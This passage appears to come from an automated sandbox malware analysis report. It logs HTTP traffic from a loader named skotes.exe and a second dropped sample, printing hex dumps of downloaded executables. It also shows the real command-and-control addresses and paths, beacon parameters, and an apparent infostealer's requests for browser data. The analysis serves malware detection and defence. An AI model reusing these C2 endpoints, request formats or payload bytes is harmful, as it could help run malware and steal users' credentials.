00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELr;gJ@0J@\pp`q P^@.rsrc`n@.idata pp@ *r@gvbnyfpp0t@qsyvlzzsIL@.taggant0J"R@
Nov 21, 2024 03:09:31.592973948 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 03:09:31.594028950 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 03:09:31.594093084 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 03:09:31.594104052 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 03:09:31.594556093 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 03:09:31.594568968 CET	1236	IN	Data Raw: c5 d6 f4 25 3f 14 29 c1 cf 1c a4 a8 9b 8d 67 d4 d4 e0 75 8e be ee 2f fa 96 81 76 04 1b e5 60 22 41 68 a4 1f 2e 50 b7 21 37 55 7c b0 eb 32 a6 43 1e e2 d9 ee a4 9d 73 04 32 6f ca 41 6b 8e ac 69 f4 ec 8b 7e 18 8a 5b db 52 99 58 1f 18 ee b3 f0 57 95 Data Ascii: %?)gu/v`"Ah.P!7U\|2Cs2oAki~[RXWym]V<8rP2,!ZQA^5!<Ow\|Vo$xXI +s6L\ O>5C?9>J WC70t[>qKTZHO-oKh'M6:tXVNO
Nov 21, 2024 03:09:31.594578981 CET	248	IN	Data Raw: 7f 13 ce e8 5a d8 0f d5 77 3a 37 6b ac 42 1d f5 39 14 33 39 d2 46 f3 a8 2b b6 32 a4 57 37 33 f2 5f c9 16 da 02 a1 c3 f2 3d 66 de 52 50 34 13 e4 a1 b5 20 ea cd 6e b8 42 e2 6f 0f 1c cc a9 96 c6 2a 13 d3 c5 56 9f bb 06 84 1e 06 65 ad bb 5d f9 4a 2d Data Ascii: Zw:7kB939F+2W73_=fRP4 nBoVe]J-O8oEJ#:-R7X"r],$w{!/N_tBqh<t$S1.>S>{bnR5j;NhY70p)YA[.&`2eFPaI
Nov 21, 2024 03:09:31.595449924 CET	1236	IN	Data Raw: 31 f9 b7 a1 60 08 90 68 b6 68 93 0f b6 e2 81 a7 35 a4 24 dc 30 56 8c f2 0d 6a f6 4d c0 38 49 87 83 42 24 bc ea db 36 47 75 79 50 04 68 5a 5c 59 00 fc b4 a6 8c fd 2b 4e 5c 66 54 76 3d 32 50 60 b7 c1 0f 3d 1c 4f d4 3a 85 f2 78 88 42 75 b5 3b 39 95 Data Ascii: 1`hh5$0VjM8IB$6GuyPhZ\Y+N\fTv=2P`=O:xBu;9]3$1t\|_7{D/ML^EM#E3&?>&P$-qM6)i<=>W1~Z=<S:7nB.,:qh;tH G @~]
Nov 21, 2024 03:09:31.595570087 CET	1236	IN	Data Raw: a3 de eb 17 9c 35 63 d0 64 83 25 9e 8a 57 51 02 d7 de 8d c2 52 cd 09 21 6b c1 37 ab 7a ef 2a e5 3a 62 bc 11 d4 48 bf 21 34 1e 32 5b 43 36 7b 18 a9 14 33 82 de a0 c4 38 ce b4 57 5a a5 2f 8b 20 35 7c 3b 67 07 b0 55 4b 4a 93 c8 3c 8b 68 10 c2 45 6c Data Ascii: 5cd%WQR!k7z:bH!42[C6{38WZ/ 5\|;gUKJ<hElR-<ggOW^94ZUF4PBjx-W=xxVMQ,J\|OPTR27m#fE\B&]>C-}{+~WdC'e(rCP
Nov 21, 2024 03:09:31.712568045 CET	1236	IN	Data Raw: 6c 91 4d 4b ac 2f f9 f7 27 1d 78 bc 3e 28 54 7c e0 c6 93 77 20 7c d5 0b a4 4a 27 0f 15 f9 0b 06 24 7e c4 2b 10 d4 6f a4 20 67 17 f1 57 c2 fb 11 35 71 fb ac 13 a6 4c 94 57 d5 06 8d fc d6 8d 8e 86 17 43 a9 eb 9a 02 e8 a4 ac 3b 95 43 54 54 a5 11 97 Data Ascii: lMK/'x>(T\|w \|J'$~+o gW5qLWC;CTTy>#$S+,4o]Z6;(=(vg=7:Z${0"DGR7Kly9.0U.(J#cC%)2GV>h(j+#k8Z]nf7SZ^

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49881	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:09:37.237613916 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 38 32 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007821001&unit=246122658369
Nov 21, 2024 03:09:38.624412060 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:09:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49887	185.215.113.16	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:09:38.754642963 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 21, 2024 03:09:40.196808100 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:09:39 GMT Content-Type: application/octet-stream Content-Length: 1815040 Last-Modified: Thu, 21 Nov 2024 02:02:21 GMT Connection: keep-alive ETag: "673e94ad-1bb200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 22 01 00 00 00 00 00 00 d0 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 00 6a 00 00 04 00 00 46 0d [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8kkk'kkkk&kkkkkkjkkk#kkkkRichkPELO/g"i@jF@M$a$$ $b@.rsrc$r@.idata $t@ *$v@roagfprl Ox@igylmmhqi@.taggant0i"@
Nov 21, 2024 03:09:40.196840048 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 03:09:40.196851969 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 03:09:40.196944952 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 03:09:40.196957111 CET	1236	IN	Data Raw: a0 0d 94 8e 72 f2 e8 0b ab 9e 1c 11 36 75 01 16 a0 7c 1a 69 f2 d7 bf ab 92 76 5d 6a ce 0d f0 01 03 ed 3e 0a 2d d2 4c 6b 6d 8c dd be 9d 79 27 a2 4a 23 20 1a 93 7a c3 e3 8b 6d 19 66 3d 7d 33 db 0a c0 bb ca 22 e4 57 65 78 0a 25 69 14 a3 0f 81 8a 65 Data Ascii: r6u\|iv]j>-Lkmy'J# zmf=}3"Wex%iel -Z1$~#}HF?{:dNSO%V_:S(zjNEFli$6(nUaRQG%QEe%4_L
Nov 21, 2024 03:09:40.196969032 CET	1236	IN	Data Raw: 9c 0e 27 ab 73 75 f9 e2 f4 ea b4 90 e1 52 4c 73 a1 67 5b 1b b4 d5 60 2e f3 b8 af 73 4c 66 d7 80 84 68 d1 0d 6d c9 2a e4 df 17 1a 66 cb 87 85 83 d1 92 d8 10 34 57 d7 48 2f 0a e9 f2 0c 2f 2e 5b e2 04 5a e0 96 0e 36 c2 cb e9 98 45 94 09 b0 ba d3 30 Data Ascii: 'suRLsg[`.sLfhm*f4WH//.[Z6E0@^N0G+-L~uKz}.wXRyDq' 3GdXTeYNuKz`).pCz jk<%QrpqSnfJ'.aR3:
Nov 21, 2024 03:09:40.196981907 CET	776	IN	Data Raw: 92 3d fa c6 3b 4d b7 be cc 5d d1 80 f2 4d dd 88 be a9 cb 02 d3 47 08 83 f2 65 cf c4 0e 75 8f be 96 b0 e8 fd e2 60 09 8a ce b3 d8 6e a9 2d d2 e0 02 69 4b 9b ee 36 a7 b9 a0 2a 2f 09 0f 67 5f 9a da 36 91 bb 11 2d db e0 2a 69 7f 9b 82 a9 e0 29 d0 8f Data Ascii: =;M]MGeu`n-iK6/g_6-i);\S&Oq)2/>T.m.5#GgPM?>CriQ;c/!5:wnK;T84BzF}Js)=SFBYj<B`[g85O
Nov 21, 2024 03:09:40.196994066 CET	1236	IN	Data Raw: a0 ad f7 bc ca 46 5b 02 9d 75 d9 86 7f 19 de 99 f6 39 ab bb b5 5f 4e a1 42 66 53 cb 0e ad 4b 97 26 6a af 9a ec f1 77 fd 9b e1 0d 1c 83 6a d9 60 96 3e f9 86 52 a9 dd 50 ac dd 4f 8a 7f 3d 2a 48 03 c6 dd 6c 93 01 69 a5 69 6e dd 39 ab 38 d3 24 cf 61 Data Ascii: F[u9_NBfSK&jwj`>RPO=*Hliin98$aPSn{^;qQ>w8KF[h.~7p#- MUN1+QXQ$H-8Ks)uUK`EAg+25WOVF:,EK/-NBI^y8
Nov 21, 2024 03:09:40.197127104 CET	1236	IN	Data Raw: d0 39 d0 7a 67 b5 4b 8f 2a 4c 6b 03 cf 23 d7 d1 0e d5 cf 40 0f 76 e7 a4 4f 34 2d a3 ab 52 e7 8e ac 09 51 bb 5c 6d f9 e8 ce 53 db 63 9d a9 4b 8f 46 7c f9 45 b3 a9 e0 b0 ab 45 55 90 f2 d7 f4 c0 9b 7d cf 88 ce b0 54 fd d2 62 b7 b9 a0 cd 4b 9b 2e b1 Data Ascii: 9zgK*Lk#@vO4-RQ\mScKF\|EEU}TbK.-E;N(GCp9J=6Z-UOA]+G&OiBu8d;K''KG;'I8E~F0'ug2exKbF5b
Nov 21, 2024 03:09:40.197139025 CET	1236	IN	Data Raw: 2c 3b 7f 81 aa c5 1f 3e 91 c1 b0 5e 4b 2d e0 40 da 6d 4f 0a 37 7e 15 a1 5a 3b 09 51 b3 5d 22 bb 20 89 1f 59 b2 fd 0c 11 93 6a 47 1d 70 b9 b7 8f ab 21 dc d0 fb 4e 31 8f 92 2d 04 16 9f 87 e9 44 16 6b 1b 9a aa 35 f3 fc 92 b1 11 b7 11 0e cd ea c2 43 Data Ascii: ,;>^K-@mO7~Z;Q]" YjGp!N1-Dk5CO7n\|'4-gZO\|~HF6@%&~F;LFKc6o+E-K-i;O=5G;sRF}]Q95jVMF&
Nov 21, 2024 03:09:40.316554070 CET	1236	IN	Data Raw: be ef 87 e2 ef 2f f0 dd 23 73 c3 3d 93 2e 0b ad b4 55 2c a3 5a 55 fa 8d 75 2b ff 05 26 95 49 95 c5 6e 97 c2 ec a1 91 54 9e e1 01 9c 36 b9 d4 ae 6d d1 e8 de 21 b5 63 21 f5 c9 c9 d7 8b 19 6a 69 cf b4 d4 31 00 60 d9 0d e3 74 ed c9 2a 1d 1a 02 08 cd Data Ascii: /#s=.U,ZUu+&InT6m!c!ji1`t*WaQVq<RH5$S++1>iBO)-Vj1$5m`+Ki<vw?<t~c=v!1PRDIeW3nSFQv(H[FW~

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49904	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:09:45.977279902 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 38 32 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007822001&unit=246122658369
Nov 21, 2024 03:09:47.588633060 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:09:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49911	185.215.113.16	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:09:47.716797113 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 21, 2024 03:09:49.358660936 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:09:49 GMT Content-Type: application/octet-stream Content-Length: 923136 Last-Modified: Thu, 21 Nov 2024 02:00:28 GMT Connection: keep-alive ETag: "673e943c-e1600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 34 94 3e 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 66 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPEL4>g"fw@pv@@@d\|@u4@.text `.rdata@@.datalpH@.rsrc@@@.relocuv@B
Nov 21, 2024 03:09:49.358736038 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY
Nov 21, 2024 03:09:49.358747959 CET	1236	IN	Data Raw: b7 6c fd ff ff 8b ce e8 f7 ba 00 00 33 c9 c7 46 0c 01 00 00 00 89 0e 8b 03 8b 40 04 03 c7 39 88 98 fb ff ff 74 35 89 4d fc 51 8d 4d fc 51 8d 88 94 fb ff ff e8 2f 05 00 00 8b 03 8d 8f 98 fb ff ff 8b 40 04 03 c8 e8 c6 04 00 00 8b 03 8b 40 04 03 c7 Data Ascii: l3F@9t5MQMQ/@@ulIOkOu3_OO_`d<IvY\|#l)\DItv
Nov 21, 2024 03:09:49.358793974 CET	372	IN	Data Raw: 7f 00 00 8d 8e 9c 00 00 00 e8 10 7f 00 00 8d 8e 8c 00 00 00 e8 05 7f 00 00 8d 4e 08 5e e9 00 00 00 00 56 57 8b f9 33 f6 8b 44 f7 04 85 c0 0f 85 4e 0d 04 00 46 83 fe 10 7c ee 5f 5e c3 53 56 8b f1 33 db 57 38 5e 09 0f 85 54 0d 04 00 38 5e 08 75 1c Data Ascii: N^VW3DNF\|_^SV3W8^T8^uNy8tQ~^_^[VN j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj
Nov 21, 2024 03:09:49.358938932 CET	1236	IN	Data Raw: 8b 75 08 57 8b f9 56 83 67 08 00 e8 eb e5 00 00 8a 46 10 8d 4f 20 88 47 10 8b 46 14 89 47 14 8a 46 18 88 47 18 8d 46 20 83 61 08 00 50 e8 c9 e5 00 00 8a 46 30 88 47 30 8b c7 5f 5e 5d c2 04 00 33 d2 33 c0 89 11 40 89 41 0c 89 51 08 88 51 10 89 51 Data Ascii: uWVgFO GFGFGF aPF0G0_^]33@AQQQQA,Q Q(Q0V&NW LjE$\|I IF^jAZ @uSV5I3WjXSG
Nov 21, 2024 03:09:49.359016895 CET	1236	IN	Data Raw: 00 8b 41 0c 83 e8 01 74 29 83 e8 01 0f 84 d4 07 04 00 83 e8 01 0f 84 bb 07 04 00 83 e8 01 74 19 83 e8 03 74 0d 48 83 e8 01 0f 85 97 07 04 00 8a 01 c3 83 39 00 0f 95 c0 c3 8b 41 08 83 78 04 00 eb f3 55 8b ec 53 56 8b 75 08 33 db 57 8a d3 8b 0e 8d Data Ascii: At)ttH9AxUSVu3WyQ>t(M@f9Xu8!tt_^3[]U3BSVWPPUUJ(MO1f~u6 t+u+3+fy4
Nov 21, 2024 03:09:49.359030008 CET	1236	IN	Data Raw: 7f 05 04 00 3b fb 0f 84 26 fe ff ff e9 72 05 04 00 83 38 05 0f 85 d0 fe ff ff ff 45 f4 8d 45 ec 89 7d ec 8d 8d 54 ff ff ff 50 47 e8 5a 03 00 00 8b 45 d8 8b 48 04 8b 85 58 ff ff ff 89 45 bc e9 a6 fe ff ff 83 e8 21 0f 85 23 01 00 00 8b 41 04 6a 7f Data Ascii: ;&r8EE}TPGZEHXE!#AjYf9HmME@E0u]uEuuSPuWAjYf9HEHOTE]ETpXEE
Nov 21, 2024 03:09:49.359128952 CET	1236	IN	Data Raw: 01 04 00 83 7d 1c 00 0f 85 b6 01 04 00 83 7d 20 00 75 19 83 7d 24 00 0f 85 7e 01 04 00 33 c0 5d c2 20 00 6a ff 6a 77 e9 73 01 04 00 6a ff 6a 73 e9 6a 01 04 00 55 8b ec 83 ec 0c 56 8b f1 8b 46 0c 83 f8 06 7d 03 5e c9 c3 57 33 c9 6a 04 5a f7 e2 0f Data Ascii: }} u}$~3] jjwsjjsjUVF}^W3jZQL>3YNF~F<BN$;\|SA23~,FDMEuNGA;\|u[_FMFMLU,SVWL$(D$83
Nov 21, 2024 03:09:49.359141111 CET	1236	IN	Data Raw: 10 00 55 8b ec 83 ec 74 53 56 33 db 8d 4d 94 57 89 5d 90 e8 14 7b 00 00 ff 75 08 8d 4d 90 c7 45 a4 34 cc 49 00 89 5d a8 89 5d ac 89 5d b0 88 5d b4 e8 78 1c 00 00 8b 4d 0c be 18 14 4d 00 8a 45 b4 88 01 8b ce e8 db 0b 00 00 68 9c ca 49 00 8d 4d e0 Data Ascii: UtSV3MW]{uME4I]]]]xMMEhIM'nj5MM]]]& ]MiVMzEPM@hIMmSjEPEP/yMihtIME]EmSSEPEPxME
Nov 21, 2024 03:09:49.359153032 CET	1236	IN	Data Raw: 8d 8b 8c 00 00 00 89 07 8d 45 fc 50 e8 07 00 00 00 5f 5e 5b c9 c2 04 00 55 8b ec 56 6a 08 8b f1 e8 ad ca 01 00 8b 55 08 59 8b c8 8b 12 83 61 04 00 89 11 83 7e 04 00 75 0d 89 4e 04 ff 06 89 4e 08 5e 5d c2 04 00 8b 46 08 89 48 04 eb ee 55 8b ec b8 Data Ascii: EP_^[UVjUYa~uNN^]FHUVEPPh1hIEt3fP7^VVYtf\|F\u3fLF^UVW3FO;Qu_^]USVWue
Nov 21, 2024 03:09:49.478389025 CET	1236	IN	Data Raw: 8d 57 ff 85 ff 74 4b 8b 45 08 0f b7 00 89 45 fc 33 db 33 c9 66 85 c0 74 30 8b 45 f8 8b 7d 08 8b 00 0f b7 04 50 89 45 f4 8b 45 fc 0f b7 c0 66 39 45 f4 74 23 43 0f b7 04 5f 66 85 c0 75 f0 8b 7d f0 85 c9 0f 85 21 fb 03 00 8b c2 5f 5e 5b c9 c2 04 00 Data Ascii: WtKEE33ft0E}PEEf9Et#C_fu}!_^[AUSVWh3D$D$SP9uM9uM9uMSW[Md$$D$F@D$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49912	185.215.113.206	80	4612	C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:09:47.936944962 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 21, 2024 03:09:49.628238916 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:49 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 21, 2024 03:09:49.630435944 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDGHIIJKEBGIDHIDBKJD Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 48 49 49 4a 4b 45 42 47 49 44 48 49 44 42 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 31 36 30 39 38 45 46 34 39 46 34 32 36 38 31 32 30 39 37 32 34 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 48 49 49 4a 4b 45 42 47 49 44 48 49 44 42 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 48 49 49 4a 4b 45 42 47 49 44 48 49 44 42 4b 4a 44 2d 2d 0d 0a Data Ascii: ------JDGHIIJKEBGIDHIDBKJDContent-Disposition: form-data; name="hwid"516098EF49F42681209724------JDGHIIJKEBGIDHIDBKJDContent-Disposition: form-data; name="build"mars------JDGHIIJKEBGIDHIDBKJD--
Nov 21, 2024 03:09:50.111152887 CET	407	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:49 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4f 54 55 35 4f 44 4e 6a 4e 7a 6c 69 4e 6d 51 32 4e 54 45 7a 4e 44 4a 6a 5a 6d 49 31 4e 6a 63 78 4e 6d 52 6d 4d 57 45 34 4f 44 63 7a 59 54 63 33 4e 6a 49 30 4f 47 4d 7a 4e 6d 52 6d 4f 57 4e 6c 4d 57 4e 68 4d 32 45 79 4e 7a 6b 30 5a 6d 55 33 59 54 42 6d 4f 54 45 78 4d 47 59 33 5a 54 42 6d 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: OTU5ODNjNzliNmQ2NTEzNDJjZmI1NjcxNmRmMWE4ODczYTc3NjI0OGMzNmRmOWNlMWNhM2EyNzk0ZmU3YTBmOTExMGY3ZTBmfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 21, 2024 03:09:50.113847017 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEGHCBAFBFHIIECBKFCG Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 47 48 43 42 41 46 42 46 48 49 49 45 43 42 4b 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 35 39 38 33 63 37 39 62 36 64 36 35 31 33 34 32 63 66 62 35 36 37 31 36 64 66 31 61 38 38 37 33 61 37 37 36 32 34 38 63 33 36 64 66 39 63 65 31 63 61 33 61 32 37 39 34 66 65 37 61 30 66 39 31 31 30 66 37 65 30 66 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 48 43 42 41 46 42 46 48 49 49 45 43 42 4b 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 48 43 42 41 46 42 46 48 49 49 45 43 42 4b 46 43 47 2d 2d 0d 0a Data Ascii: ------JEGHCBAFBFHIIECBKFCGContent-Disposition: form-data; 